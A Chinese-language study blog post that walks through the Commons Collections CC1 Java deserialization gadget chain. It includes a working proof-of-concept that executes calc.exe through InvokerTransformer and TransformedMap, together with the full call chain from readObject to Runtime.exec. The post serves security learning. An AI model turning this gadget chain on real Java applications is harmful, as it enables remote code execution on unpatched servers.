InvokerTransformerCC1链的漏洞点位于commons-collections-3.1.jarorgapachecommonscollectionsfunctorsInvokerTransformer.class中反射加载参数可控

可以发现触发点在调用了InvokerTransformer类的Transformer方法(也就是反射命令执行点)
我们先了解一下这些类
TransformedMap
InvokerTransformer
ConstantTransformer
ChainedTransformer
TransformedMap
我们看代码这里调用的是decorate方法
debug代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class TransformedMap_class {
public static void main(String[] args) throws Exception{
Map innerMap = new HashMap();
innerMap.put("N0lan", "value");
Map outerMap = TransformedMap.decorate(innerMap, new Hello(), new Hello1());
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}
class Hello implements Transformer {
@Override
public Object transform(Object input) {
System.out.println(input.toString());
return "Hello";
}
}
class Hello1 implements Transformer {
@Override
public Object transform(Object input) {
System.out.println(input.toString());
return "Hello1";
}
}
可以发现这个函数就是完成实列化的过程,并且调用对象的trasform方法

InvokerTransformer
此类里面的transform类在input不为空的时候会触发反射加载从而导致命令执行

ConstantTransformer
返回值为当前参数的对象

ChainedTransformer
ChainedTransformer类的transform方法把传入的对象依次执行tranform方法后返回

这里会返回在之后调用InvokerTransformer.transform(Runtime)
TransformedMap利用链
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class ccONE {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put(null, null);
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue(null);
}}
调试发现是这样调用到InvokerTransformer的transform方法的
transform:124, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
checkSetValue:169, TransformedMap (org.apache.commons.collections.map)
setValue:191, AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map)
main:27, ccONE
反序列化
这里 要用到AnnotationInvocationHandler.readObject()函数 不然 得化这个点就会很鸡肋 ,的反序列化在转换成Map(Entry)然后调用.setValue()才能触发exp,很难找这样的点
但是AnnotationInvocationHandler 恰好满足了这点 这里由于是萌新所以一步一步分析
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();//迭代
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();//转换为Entry
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

至于为什么map key必须绑定为value
https://xz.aliyun.com/t/7031#toc-9
因此完整的调用过程链是
ObjectInputStream.readObject()
ObjectInputStream.readObject0()
ObjectInputStream.readOrdinaryObject()
ObjectInputStream.readSerialData()
ObjectStreamClass.invokeReadObject()
Method.invoke()
DelegatingMethodAccessorImpl.invoke()
NativeMethodAccessorImpl.invoke()
NativeMethodAccessorImpl.invoke0()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
参考
https://www.cnblogs.com/nice0e3/p/13860621.html https://mochazz.github.io/page/2/ https://blog.0kami.cn/archives/ https://www.anquanke.com/post/id/195865 https://www.cnblogs.com/kuaile1314/p/14239718.html https://xz.aliyun.com/t/4711#toc-3 https://xz.aliyun.com/t/7031#toc-9
:学习java cc1就这么难 后面还咋学呀,学一点算一点吧 少就是多 满慢就是快